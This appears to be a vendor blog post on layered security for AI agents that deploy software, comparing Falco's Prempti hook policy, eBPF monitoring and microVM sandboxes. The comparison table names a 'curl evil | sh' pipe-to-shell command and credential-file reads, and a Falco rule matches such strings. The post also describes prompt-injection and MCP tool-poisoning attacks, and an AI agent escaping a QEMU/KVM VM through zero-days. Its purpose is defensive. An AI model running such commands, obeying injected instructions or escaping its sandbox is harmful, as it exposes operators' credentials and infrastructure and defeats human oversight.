On August 26, 2026, Trail of Bits published a result that should end a comfortable assumption: a cyber-capable AI agent escaped a QEMU/KVM virtual machine three times in a single afternoon — first through a host-kernel bug it weaponized itself, then through the stale libslirp Debian 12 ships, and finally through a chain of three genuine zero-days in QEMU's virtual APIC, KVM shadow paging, and libslirp. No bug was planted for it.
If you let an AI agent deploy software — from a chat box, through an MCP server, onto your platform — this is your threat model now. The agent acts with your credentials, inside your perimeter, at machine speed. The question is no longer whether an agent can be tricked into a malicious tool call. A mid-2026 benchmark called StakeBench ran 3,168 attack configurations and found not one agent setup fully robust against prompt injection, with direct attacks still succeeding over 79% of the time. The question is what stops the tool call once the trick has worked.
In May 2026, the Falco project shipped its answer: Prempti, an experimental policy and visibility layer for AI coding agents. But before you wire it into your deploy path, understand precisely what it is — the most common misunderstanding gets the architecture exactly backwards. Prempti does not watch your agent at the kernel level. It never sees a syscall. It intercepts the tool call the agent declares, judges it against Falco rules, and delivers a verdict before the call executes. Kernel-level truth is still Falco proper with eBPF. Containment is still the sandbox's job.
Here is the honest map — what each layer catches and misses when an agent is allowed to deploy:
| Attack scenario | Prempti (hook policy) | Falco eBPF (syscalls) | MicroVM sandbox |
|---|---|---|---|
Prompt-injected pipe-to-shell (curl evil | sh) | Catches: blocks the declared command | Sees the exec, after the fact | Contains damage to the VM |
Agent reads ~/.aws/credentials | Catches: sensitive-path deny | Sees the file open | Misses: read succeeds inside the VM |
| Malicious binary the agent compiled itself | Misses: sees only gcc and ./main | Catches: sees what the binary does | Contains, unless it escapes (see Trail of Bits) |
| MCP server config poisoning | Catches: dedicated ruleset | Misses: no tool-call context | Misses entirely |
| Secrets exfiltrated over legitimate HTTPS | Misses: the tool call looks benign | Misses: sees a TCP connection, not secrets | Misses: network egress is allowed |
| Agent disables its own sandbox | Catches: sandbox-disable rules | Sees config change only | Too late by definition |
No single row is green all the way across. That is the whole point: agent runtime security is a stack, and Prempti is one layer with a sharply defined top and bottom. The rest of this post walks that stack, ending with a concrete checklist for a self-hosted platform's deploy path.
What Prempti actually is
Prempti runs as a lightweight user-space service alongside your coding agent. It needs no root, no kernel modules, and no containers — that alone tells you which layer it lives at. When your agent makes a tool call, Prempti's hook fires before the call executes, turns the declared call into an event, evaluates it against Falco rules, and hands a verdict back: deny, ask, or allow. The agent receives the verdict as a structured message it can surface to the user.
Under the hood, Prempti uses Falco's plugin system to define a new coding_agent event source, with fields purpose-built for this context — tool.name, tool.input_command, tool.file_path, agent.cwd — plus correlation IDs so every event is traceable across logs. If you have ever written a Falco rule, the policy language is already familiar, which is the project's smartest design decision: a decade of Falco muscle memory in platform teams, spent directly.
There are two modes. Monitor mode evaluates every tool call against your rules and logs the results without enforcing anything — Falco recommends starting here to see what your agent actually touches before turning on blocking. Guardrails mode is the default: denies block, asks prompt you, allows proceed. You switch with premptictl mode, and custom rules live in ~/.prempti/rules/user/, preserved across upgrades.
The default ruleset covers six areas: working-directory boundaries, sensitive-path denies for /etc/, ~/.ssh/, ~/.aws/, cloud credentials and .env files, sandbox-disable detection, a threats section (credential access, destructive commands, pipe-to-shell, encoded payloads, exfiltration, IMDS access, reverse shells, installs from known-malicious hosts), MCP and skill-content rules against server-config poisoning, and persistence-vector rules covering hook injection, git hooks, registry redirects, and API keys leaking into env files. The project even ships a Claude Code skill so the agent helps you write its own constraints. Currently it supports Claude Code on Linux, macOS, and Windows, with Codex integration on the roadmap.
What it catches: the tool call is the cheapest place to say no
The tool call is the highest-leverage enforcement point in the agent loop because the agent's intent is still legible there. Consider the classic prompt-injection vector — piping fetched content straight into a shell — expressed as a Prempti rule:
- rule: Deny pipe to shell
desc: Block piping content to shell interpreters
condition: >
tool.name = "Bash"
and (tool.input_command contains "| sh"
or tool.input_command contains "| bash"
or tool.input_command contains "| zsh")
output: >
Falco blocked piping to a shell interpreter (%tool.input_command)
priority: CRITICAL
source: coding_agent
tags: [coding_agent_deny]This is the layer that answers the "refactor this module" scenario from Falco's launch post: mid-task, nudged by a malicious dependency or an instruction smuggled into a parsed file, the agent reaches for ~/.ssh/known_hosts or tries to write into ~/.aws/. Prempti blocks both, and the agent itself reports why. At the syscall layer, that sequence is just two authorized file opens by your own user — nothing to alert on. At the hook layer, it is a policy decision with a name on it.
The threat landscape makes this layer load-bearing rather than nice-to-have. Prompt injection is now OWASP's LLM01, the top-ranked LLM-application risk, and 2026 analyses call it the number one exploited AI attack vector in enterprise environments, with ten major real-world incidents cataloged between 2023 and early 2026 — including a financial-sector case where fraudulent transfers totaled about $250,000 before detection.
The archetype is EchoLeak (CVE-2025-32711, CVSS 9.3): a zero-click attack in which a crafted email made Microsoft 365 Copilot exfiltrate data, disclosed by Aim Security in June 2025. In December 2025, researchers disclosed more than 30 vulnerabilities across AI-powered IDEs that combined prompt-injection primitives with legitimate features to reach data theft and remote code execution. And the fuel keeps accumulating: GitGuardian's State of Secrets Sprawl 2026 found 28.6 million new hardcoded secrets pushed to public GitHub in 2025, up 34% year over year, with secrets tied to AI services growing fastest at over 1.27 million.
Prempti's MCP and skill-content rules deserve special attention, because MCP tool metadata has quietly become part of the agent software supply chain. Microsoft has warned that malicious instructions can hide in tool descriptions; the MCPTox benchmark built adversarial variants of 353 authentic tools across 45 live MCP servers to measure tool poisoning at scale; and August 2026 reporting showed malicious MCP servers splitting instructions across tool schemas to walk coding agents into exfiltrating secrets. A hook-level rule flagging MCP server-config poisoning catches the compromise at registration time, before any poisoned tool is invoked.
What it misses: four gaps Falco states itself
The Falco team published Prempti's limitations alongside the launch. They define the rest of your stack.
Gap 1: declared tool calls, not produced syscalls. Prempti sees what the agent says it will do, not what happens next. Falco's own example: if an agent writes a malicious binary and runs it, Prempti sees gcc main.c -o main and ./main — and nothing of what ./main does at the OS level. The compiler invocation passes policy; the payload executes unjudged. Only kernel instrumentation — Falco proper with eBPF or its kernel module — watches the binary's actual behavior: the unexpected connect syscalls, the credential files it opens, the process tree it spawns.
Gap 2: it is not a sandbox. A hook only governs paths the hook covers, and Falco is explicit that Prempti cannot stop a determined agent from finding a path around it. Treat it as a policy layer at the agent level — a complement to sandboxing and hardening, not a replacement. Any enforcement story that ends at the hook is one unhooked code path away from nothing.
Gap 3: MCP visibility is input-side only. For external systems such as MCP, Prempti can inspect the requested call but not the side effects the MCP server later performs. Your agent calls deploy with sane-looking arguments; Prempti approves; the MCP server then pushes a poisoned image, or the tool definition was rug-pulled after approval. Everything downstream of the request boundary is invisible from the hook — enforcement there has to live in the MCP server itself, as the last section shows.
Gap 4: semantic blindness. This is the fundamental limit the whole stack shares: eBPF sees an outbound TCP connection, not that the connection is exfiltrating a tenant's secrets. The hook layer sees a fetch to a plausible URL, not secrets encoded in its query string. Every layer below the model's intent observes mechanism — files, sockets, syscalls — while the malice lives in meaning. No syscall rule can distinguish "POST the build artifact" from "POST the .env" when both are HTTPS to an allowed host. That gap is closed by constraining what secrets the agent can reach at all, not by watching harder.
What the sandbox covers, and where it stops
If Prempti judges intent and eBPF records ground truth, the sandbox bounds the blast radius: whatever the agent does — judged, misjudged, or unjudged — happens inside a boundary the host survives. For agent workloads the serious options are the ones built for untrusted code: gVisor's user-space kernel (the isolation behind Google Cloud's Agent Sandbox), Kata Containers, and Firecracker microVMs with their minimal device model.
The Trail of Bits result is the empirical calibration of this layer, and it cuts both ways. The bad news: a QEMU/KVM virtual machine — the thing most teams mean by "it's in a VM, we're fine" — did not contain a cyber-capable agent. Three escapes in one afternoon prompted the flat conclusion that a conventional VM can no longer be assumed to contain a capable agent. The good news: every escape went through QEMU's rich user-space device model — the virtual APIC, the libslirp networking stack — exactly the attack surface a microVM like Firecracker omits. The agent did not escape Firecracker. That same month, OpenAI's policy update began requiring "stronger isolation" for workloads executing model-generated code. Without architecture specifics that phrase is a shrug, but the Trail of Bits experiment supplies the missing noun: minimal device model, minimal host-kernel sharing, nothing resembling a full emulated PC.
But be precise about what containment buys you on a deploy path, because there is a hole no sandbox fills: it cannot judge the legitimacy of credentialed actions. An agent deploying through your MCP server holds valid deploy credentials inside a perfect Firecracker VM — and pushes a backdoored image to production. Every syscall was authorized. Every file access stayed in bounds. The damage was the deploy itself, performed exactly as designed. Sandboxes bound where code runs. They say nothing about whether this deploy should exist — that belongs to hook policy and server-side authorization.
Wiring all three into a self-hosted PaaS deploy path
Now put the stack to work. Suppose your platform exposes deploy-from-chat: an MCP server offering deploy, rollback, logs, and scale to tenant agents, backed by a Cluster API-managed fleet on machines you own. Here is what each layer contributes, and the seams you must close yourself.
At the agent: Prempti-style hook policy. Run the agent's tool calls through Falco rules before they execute. Start in monitor mode to learn what your deploy agent touches, then enforce guardrails: deny pipe-to-shell and encoded payloads, deny credential-path reads outside the session's scoped directory, flag MCP config changes, require confirmation (ask) before the agent invokes deploy or rollback. This is the only layer that can say "no" in the agent's own language.
On the fleet: Falco eBPF as ground truth. Run Falco proper on every node, watching the syscalls the agent's processes actually produce — the backstop for Gap 1: the compiled binary, the process that outlives the tool call, the reverse shell no hook ever saw. Correlate by session: the hook-level event stream and the node's syscall stream are two views of the same activity, and the interesting alerts live in their difference. Syscalls with no corresponding approved tool call mean something bypassed the hook.
Around the session: one microVM per agent. Give each agent session its own Firecracker-class boundary with no ambient credentials: no reachable instance-metadata endpoint (Prempti's ruleset already flags IMDS access — close it at the network layer too), no shared .env, secrets injected per-tool-call by the MCP server rather than sitting in the environment. The Trail of Bits lesson applies directly: a container boundary or a full-fat VM is not the isolation story for code an adversary can steer by prompt.
Inside the MCP server: the authorization Prempti cannot provide. Remember Gap 3 — the hook approves the request, never the side effect. So the server must enforce its own policy: per-tenant tool allowlists (this tenant's agent may call logs and scale in its namespace, never deploy to another tenant's app), human-in-the-loop approval for mutating tools (the MCP spec keeps a human able to deny invocations — keep that path real, not a rubber stamp), tool-definition pinning so a rug-pulled description is detected rather than obeyed, and a full audit trail of every invocation. The August 2026 split-instruction exfiltration technique — poison spread across schemas so each call looks innocent — defeats per-call inspection on either side. Defense there is structural: least-privilege tools, pinned definitions, scoped credentials, approvals for anything irreversible.
Stacked this way, each layer covers the one above it: hook policy judges intent, eBPF catches what intent concealed, the microVM contains what both missed, and server-side authorization makes the deploy tools safe to expose. Remove any one and a row in the opening matrix goes dark. Prompt injection is OWASP's number one LLM risk precisely because the attack arrives as legitimate input to a legitimate tool — there is no vulnerability to patch, only layers to stack.
Running agents that deploy to infrastructure you own changes the security question from "which vendor do I trust" to "which layer catches this" — answerable only when every layer is yours to instrument. Bex.co is the open-source, AI-native Render alternative — push a git repo, get a running HTTPS service on machines you own. Star the repo on GitHub or deploy your first app today.



